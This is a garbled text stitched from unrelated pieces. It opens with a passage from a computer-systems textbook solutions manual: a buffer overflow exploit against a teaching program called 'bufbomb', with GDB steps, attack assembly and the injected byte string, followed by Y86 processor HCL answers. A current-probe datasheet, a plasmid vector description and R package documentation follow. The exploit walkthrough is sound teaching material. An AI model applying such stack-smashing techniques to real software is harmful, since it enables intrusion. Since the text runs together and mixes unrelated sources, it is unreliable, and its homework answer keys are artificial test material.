function,we can alter the behavior of another function that should always return aﬁxed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Weﬁnd the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Weﬁnd the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overﬂow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between theﬂoating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。

Keysight P6021A P6022 商品说明书

AC Current ProbesP6021A & P6022The P6021 and P6022 Current Probes provide versatile AC currentmeasurements. Both probes provide accurate current measurements over a wide range of frequencies. The P6021 and P6022 allow currentmeasurements without breaking the circuit by clipping onto the currentcarrying conductor. Shielded probe heads are not grounded when the slides are in their open positions, eliminating accidental grounding of the circuit under test.Key performance specificationsP6021A120 Hz to 60 MHz10.6 A RMS, 250 A peak, 10 mA sensitivity P6022935 Hz to 120 MHz4 A RMS, 100 A peak, 1 mA sensitivityKey featuresFor 1 MΩ inputs Shielded probe headAC onlySplit core construction allows easy circuit connection 1.5 m (5 ft) cableApplicationsMotor drivesPower inverters/converters Power supplies AvionicsP6021AFor general purpose applications, the P6021A provides wide-band performance with excellent low-frequency characteristics. Bandwidth is 120 Hz to 60 MHz. The probe range is switchable between 2 mA/mV and 10 mA/mV.P6022With a head size of 0.47 in. x 0.25 in. (10 mm x 6 mm, about half the size of the P6021A) and a bandwidth of 935 Hz to 120 MHz, the P6022 is ideal for measuring currents in compact, high-performance circuits. Passivetermination output is switchable between 1 mA/mV and 10 mA/mV.DatasheetSpecificationsAll specifications apply to all models unless noted otherwise.Physical characteristicsCable length 1.5 m (59 in)P6021A probe headLength20 cm (7.77 in)Width16 mm (0.625 in)Height32 mm (1.25 in)Maximum conductor diameter 5 mm (0.197 in)P6022 probe headLength152 mm (6.0 in)Width 6.4 mm (0.25 in)Height12 mm (0.47 in)Maximum conductor diameter 2.8 mm (0.11 in)EMC environment and safetyCompliance CAN/CSA-C22.2 No. 61010-1CAN/CSA-C22.2 No. 61010-2-032UL 61010-1UL61010B-2-032EN 61010-1EN 61010-2-0322 Ordering informationModelsP6021A Current ProbeP6022Current Probe with terminationStandard accessories6 in. ground lead196-3521-00Instruction manual071-3004-00 (P6021A), 070-0948-03 (P6022)Termination011-0106-00 (P6022 only)Recommended accessoriesNylon carrying case016-1952-xxCurrent loop, 1 turn, 50 Ω withBNC connector, used forPerformance Verification067-2396-xxDeskew/calibration fixture067-1686-xxWarrantyOne year parts and labor.Service optionsOpt. C3Calibration Service 3 YearsOpt. C5Calibration Service 5 YearsOpt. D1Calibration Data ReportOpt. D3Calibration Data Report 3 Years (with Opt. C3)Opt. D5Calibration Data Report 5 Years (with Opt. C5)Opt. R3Repair Service 3 Years (including warranty)Opt. R3DW Repair Service Coverage 3 Years (includes product warranty period). 3-year period starts at time of instrument purchase Opt. R5Repair Service 5 Years (including warranty)Opt. R5DW Repair Service Coverage 5 Years (includes product warranty period). 5-year period starts at time of instrument purchaseTektronix is registered to ISO 9001 and ISO 14001 by SRI Quality System Registrar.AC Current Probes 3DatasheetASEAN / Australasia (65) 6356 3900 Austria 00800 2255 4835*Balkans, Israel, South Africa and other ISE Countries +41 52 675 3777 Belgium 00800 2255 4835*Brazil +55 (11) 3759 7627 Canada180****9200Central East Europe and the Baltics +41 52 675 3777 Central Europe & Greece +41 52 675 3777 Denmark +45 80 88 1401Finland +41 52 675 3777 France 00800 2255 4835*Germany 00800 2255 4835*Hong Kong 400 820 5835 India 000 800 650 1835 Italy 00800 2255 4835*Japan 81 (3) 6714 3010 Luxembourg +41 52 675 3777 Mexico, Central/South America & Caribbean 52 (55) 56 04 50 90Middle East, Asia, and North Africa +41 52 675 3777 The Netherlands 00800 2255 4835*Norway 800 16098People's Republic of China 400 820 5835 Poland +41 52 675 3777 Portugal 80 08 12370Republic of Korea 001 800 8255 2835 Russia & CIS +7 (495) 6647564 South Africa +41 52 675 3777Spain 00800 2255 4835*Sweden 00800 2255 4835*Switzerland 00800 2255 4835*Taiwan 886 (2) 2722 9622 United Kingdom & Ireland 00800 2255 4835*USA180****9200* European toll-free number. If not accessible, call: +41 52 675 3777 Updated 10 April 2013 For Further Information. Tektronix maintains a comprehensive, constantly expanding collection of application notes, technical briefs and other resources to help engineers working on the cutting edge of technology. Please visit . Copyright © Tektronix, Inc. All rights reserved. Tektronix products are covered by U.S. and foreign patents, issued and pending. Information in this publication supersedes that in all previously published material. Specification and pricechange privileges reserved. TEKTRONIX and TEK are registered trademarks of Tektronix, Inc. All other trade names referenced are the service marks, trademarks, or registered trademarks of their respective companies.12 Apr 201360W-06647-3 。

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pGADT7
Vector Information
as a fusion to a hemagglutinin (HA) epitope tag. HA-tagged proteins can be identified with antibodies raised to this common epitope, eliminating the need to generate specific antibodies to new proteins. The T7 promoter is used for in vitro transcription and translation of the epitope tagged fusion protein and also provides a binding site for sequencing using the T7 Sequencing Primer. Note that the AD is not expressed during the in vitro transcription and translation reactions. The Nco I and Pst I sites may be used to shuttle inserts from pGADT7 into pGBKT7, the MATCHMAKER Two-Hybrid System 3 DNA-BD Vector. The MCS in pGADT7 is compatible with those in pMyc-CMV and pHA-CMV, CLONTECH's epitope tagged mammalian expression vector set (#K6003-1). As a result, the target gene can be shuttled into these vectors in order to confirm protein interactions in vivo. Location of features: • Full-length S. cerevisiae ADH1 promoter (PADH1): 7–1479 • GAL4 AD polypeptide with SV40 Nuclear Localization Signal (NLS) NLS: 1501–1557 GAL4 amino acids 768–881: 1561–1899 • T7 RNA polymerase promoter: 1905–1927 • HA epitope tag: 1942–1968 • Multiple Cloning Sites: 1969–2041 • Transcription termination signal Fragment carrying the S. cerevisiae ADH1 terminator (TADH1): 2280–2605 • LEU2 coding sequences: 3814–2723 • pUC plasmid replication origin: 4581–5418 • Ampicillin resistance gene: 6432–5575 • Yeast 2 µ replication origin: 6998–7988 Location of primers: • T7 Sequencing Primer: 1905–1925 • 3' AD Sequencing Primer: 2102–2083 • MATCHMAKER 5' AD LD-Insert Screening Amplimer (#9103-1): 1858–1889 • MATCHMAKER 3' AD LD-Insert Screening Amplimer (#9103-1): 2078–2046 Propagation in E. coli: • Suitable host strains: DH5α, DH10 & other general purpose strains • Selectable marker: plasmid confers resistance to ampicillin (100 µg/ml) to E. coli hosts • E. coli replication origin: pUC • Copy number: ~500 • Plasmid incompatibility group: pMB1/Col E1 Propagation in S. cerevisiae: • Suitable host strains: Y187(α), Y190(a), SFY526(a), CG1945(a), HF7c(a), or AH109(a) • Selectable marker: LEU2 • S. cerevisiae origin: 2 µ Reference:

APtools 6.8.8 用户手册说明书

Package‘APtools’October12,2022Type PackageTitle Average Positive Predictive Values(AP)for Binary Outcomes andCensored Event TimesVersion6.8.8Depends graphics,stats,utils,survival,cmprskAuthor Hengrui Cai<********************>,Yan Yuan<*****************>,Qian Michelle Zhou<****************>,Bingying Li<*********************>Maintainer Hengrui Cai<********************>Description We provide tools to estimate two prediction accuracy metrics,the average positive predictive values(AP)as well as the well-known AUC(the area under the receiver operator characteristic curve)for risk scores.The outcome of interest is either binary or censored event time.Note that for censored event time,our functions'estimates,the AP and theAUC,are time-dependent for pre-speciﬁed time interval(s).A function thatcompares the APs of two risk scores/markers is also included.Optionaloutputs include positive predictive values and true positive fractions atthe speciﬁed marker cut-off values,and a plot of the time-dependent APversus time(available for event time data).License LGPL-3Encoding UTF-8LazyData trueNeedsCompilation noRepository CRANDate/Publication2018-09-2104:40:09UTCR topics documented:APBinary (2)APSurv (3)CompareAP (5)mayo (6)Index812APBinary APBinary Estimating the AP and the AUC for Binary Outcome Data.DescriptionThis function calculates the estimates of the AP and AUC for binary outcomes as well as their conﬁdence intervals using the perturbation or the nonparametric bootstrap resampling method. UsageAPBinary(status,marker,cut.values=NULL,method="none",alpha=0.95,B=1000,weight=NULL)Argumentsstatus Binary indicator,1indicates case/the class of prediction interest and0other-wise.marker Numeric risk score.Data can be continuous or ordinal.cut.values risk score values to use as a cut-off for calculation of positive predictive values (PPV)and true positive fractions(TPF).The default value is NULL.method Method to obtain conﬁdence intervals.The default is method="none",in which case only point estimates will be given without conﬁdence intervals.If method="perturbation",then perturbation based CI will be calculated.If method="boot-strap",then nonparametric bootstrap based CI will be calculated.alpha Conﬁdence level.The default level is0.95.B Number of resampling to obtain conﬁdence interval.The default value is1000.weight Optional.The default weight is1,same object length as the"status"and"marker"ers can use their own weights,and the length of weight is required tobe the same as the length of status.Valuean object of class"APBinary"which is a list with components:ap_summary Summary of the AP,including the proportion of cases,a point estimate of AP, and their corresponding conﬁdence intervals.auc_summary Summary of the AUC,including a point estimate of AUC with a conﬁdence interval.PPV Available object,positive predictive values at the unique risk score in the data.TPF Available object,true positive fractions at the unique risk score in the data. ReferencesYuan,Y.,Su,W.,and Zhu,M.(2015).Threshold-free measures for assessing the performance of medical screening tests.Frontiers in Public Health,3.57.Bingying Li(2015)Threshold-free Measure for Assessing the Performance of Risk Prediction with Censored Data,MSc.thesis,Simon Fraser University,CanadaExamplesstatus=c(rep(1,10),rep(0,1),rep(1,18),rep(0,11),rep(1,25),rep(0,44),rep(1,85),rep(0,176))marker=c(rep(7,11),rep(6,29),rep(5,69),rep(4,261))cut.values=sort(unique(marker)[-1])out1<-APBinary(status,marker,cut.values)out1out2<-APBinary(status,marker,method="perturbation",alpha=0.90,B=1500)out2APSurv Estimating the Time-dependent AP and AUC for Censored Time toEvent Outcome Data.DescriptionThis function calculates the estimates of the AP and AUC for censored time to event data as well as their conﬁdence intervals using the perturbation or the nonparametric bootstrap resampling method.The estimation method is based on Yuan,Y.,Zhou,Q.M.,Li,B.,Cai,H.,Chow,E.J.,Armstrong,G.T.(2018).A threshold-free summary index of prediction accuracy for censored time to eventdata.Statistics in medicine,37(10),1671-1681.UsageAPSurv(stime,status,marker,t0.list,cut.values=NULL,method="none",alpha=0.95,B=1000,weight=NULL,Plot=TRUE)Argumentsstime Censored event time.status Binary indicator of censoring.1indicates observing event of interest,0other-wise.Other values will be treated as competing risk event.marker Numeric risk score.Data can be continuous or ordinal.t0.list Prediction time intervals of interest.It could be one numerical value or a vector of numerical values,which must be in the range of stime.cut.values Risk score values to use as a cut-off for calculation of time-dependent positive predictive values(PPV)and true positive fractions(TPF).The default value isNULL.method Method to obtain conﬁdence intervals.The default is method="none",in which case only point estimates will be given without conﬁdence intervals.If method="perturbation",then perturbation based CI will be calculated.If method="boot-strap",then nonparametric bootstrap based CI will be calculated.alpha Conﬁdence level.The default level is0.95.B Number of resampling to obtain a conﬁdence interval.The default value is1000.weight Optional.The default value is NULL,in which case the observations are weighted by the inverse of the probability that their respective time-dependent event status(whether the event occurs within a speciﬁed time period)is observed.In esti-mating the probability,the survival function of the censoring time is estimatedby a Kaplan-Meier estimator under the assumption that the censoring time isindependent of both the event time and risks ers can use their ownweights,in which case the t0.list should be a scalar and the length of weight isrequired to be the same as the length of status.Plot Whether to plot the time-dependent AP versus the prediction time intervals.The default value is TRUE,in which case the AP is evaluated at the time points whichpartition the range of the event times of the data into100intervals.ValueAn object of class"APsurv"which is a list with components:ap_summary Summary of estimated AP(s)at the speciﬁed prediction time intervals of interest.For each prediction time interval,the output includes the estimated event rate,apoint estimate of the AP,the estimated scaled AP(ratio of the AP versus eventrate),and their corresponding conﬁdence intervals.auc_summary Summary of AUC at the speciﬁed prediction time intervals of interest.For each prediction time intervals,the output includes the estimated event rate and a pointestimate of AUC with a conﬁdence interval.PPV Available object,time-dependent positive predictive values at the unique risk score in the data.TPF Available object,time-dependent true positive fractions at the unique risk score in the data.ReferencesYuan,Y.,Zhou,Q.M.,Li,B.,Cai,H.,Chow,E.J.,Armstrong,G.T.(2018).A threshold-free summary index of prediction accuracy for censored time to event data.Statistics in medicine, 37(10),1671-1681.Bingying Li(2015)Threshold-free Measure for Assessing the Performance of Risk Prediction with Censored Data,MSc.thesis,Simon Fraser University,CanadaExampleslibrary(APtools)data(mayo)t0.list=seq(from=min(mayo[,1]),to=max(mayo[,1]),length.out=5)[-c(1,5)]cut.values=seq(min(mayo[,3]),max(mayo[,3]),length.out=10)[-10]out<-APSurv(stime=mayo[,1],status=mayo[,2],marker=mayo[,3],t0.list=t0.list,cut.values=cut.values,method= bootstrap ,alpha=0.90,B=500,weight=rep(1,nrow(mayo)),Plot=FALSE)outCompareAP5CompareAP Comparison of two risk scores based on the differences and ratio oftheir APs.DescriptionThis function estimates the difference between and the ratio of two APs in order to compare two markers for censored time to event data or binary data.The corresponding conﬁdence intervals are provided.UsageCompareAP(status,marker1,marker2,stime=NULL,t0.list=NULL,method="none",alpha=0.95,B=1000,weight=NULL,Plot=TRUE)Argumentsstatus Binary indicator.For binary data,1indicates case and0otherwise.For survival data,1indicates event and0otherwise.marker1Risk score1(to be compared to risk score2).Its length is required to be the same as the length of status.marker2Risk score2(to be compared to risk score1).Its length is required to be the same as the length of status.stime Censored event time.If dealing with binary outcome,skip this argument which is set to be NULL.t0.list Prediction time intervals of interest for event time outcome.It could be one numerical value or a vector of numerical values,which must be in the range ofstime.It is set to be NULL if stime is NULL.method Method to obtain conﬁdence intervals.The default is method="none",in which case only point estimates will be given without conﬁdence intervals.If method="perturbation",then perturbation based CI will be calculated.If method="boot-strap",then nonparametric bootstrap based CI will be calculated.alpha Conﬁdence level.The default level is0.95.B Number of resampling for obtaining a conﬁdence interval.The default value is1000.weight Optional argument for event time data,i.e.stime is not NULL.Its default value is NULL,in which the observations are weighted by the inverse of the probabil-ity that their respective time-dependent event status(whether the event occurswithin a speciﬁed time period)is observed.In estimating the probability,thesurvival function of the censoring time is estimated by a Kaplan-Meier estima-tor under the assumption that the censoring time is independent of both the eventtime and risks ers can use their own weights,in which case the t0.listshould be a scalar and the length of weight is required to be the same as thelength of status.6mayo Plot Optional argument for event time data,i.e.stime is not NULL.For binary data, it is set to FALSE.For event time data,its default value is TRUE and threeplots are generated:1)the time-dependent AUC of two markers;2)the time-dependent AP of two markers;and3)the time-dependent ratio of APs,all versusthe prediction time intervals.The quantities in1)-3)are evaluated at the timepoints which partition the range of the event times of the data to100intervals.Valuedap_summary Summary of the APs of two markers and the differences(AP1-AP2)and their ratio(AP1/AP2).For event time data,these quantities are estimated at thespeciﬁed prediction time intervals.The output includes the estimated eventrate/proportion of cases,point estimates of the APs of the two markers,pointestimates of the difference between and ratio of the two APs as well as theirrespective conﬁdence intervals.ReferencesYuan,Y.,Zhou,Q.M.,Li,B.,Cai,H.,Chow,E.J.,Armstrong,G.T.(2018).A threshold-free summary index of prediction accuracy for censored time to event data.Statistics in medicine, 37(10),1671-1681.Yuan,Y.,Su,W.,and Zhu,M.(2015).Threshold-free measures for assessing the performance of medical screening tests.Frontiers in Public Health,3.57.Bingying Li(2015)Threshold-free Measure for Assessing the Performance of Risk Prediction with Censored Data,MSc.thesis,Simon Fraser University,CanadaExampleslibrary(APtools)status=c(rep(1,10),rep(0,1),rep(1,18),rep(0,11),rep(1,25),rep(0,44),rep(1,85),rep(0,176))marker1=c(rep(7,11),rep(6,29),rep(5,69),rep(4,261))marker2=c(rep(7,17),rep(6,29),rep(5,70),rep(4,254))out_binary<-CompareAP(status,marker1,marker2)out_binarydata(mayo)t0.list=seq(from=min(mayo[,1]),to=max(mayo[,1]),length.out=5)[-c(1,5)]out_survival<-CompareAP(status=mayo[,2],marker1=mayo[,3],marker2=mayo[,4],stime=mayo[,1],t0.list=t0.list,method= bootstrap ,alpha=0.90,B=500,weight=rep(1,nrow(mayo)),Plot=FALSE)out_survivalmayo Mayo Marker dataDescriptionTwo marker values with event time and censoring status for the subjects in Mayo PBC datamayo7FormatA data frame with312observations and4variables:time(event time/censoring time),censor(cen-soring indicator),mayoscore4,mayoscore5.The two scores are derived from4and5covariates respectively.SourceT Therneau,P Grambsch(2000)Modeling Survival Data:Extending the Cox Model Springer-Verlag,New York,ISBN:0-387-98784-3.ReferencesFleming T,Harrington D.(1991)Counting Processes and Survival Analysis Wiley,New York.Heagerty,P.J.,Zheng,Y.(2005)Survival Model Predictive Accuracy and ROC Curves Biometrics, 61,92–105Index∗survivalmayo,6APBinary,2APSurv,3CompareAP,5mayo,68。

LICOR

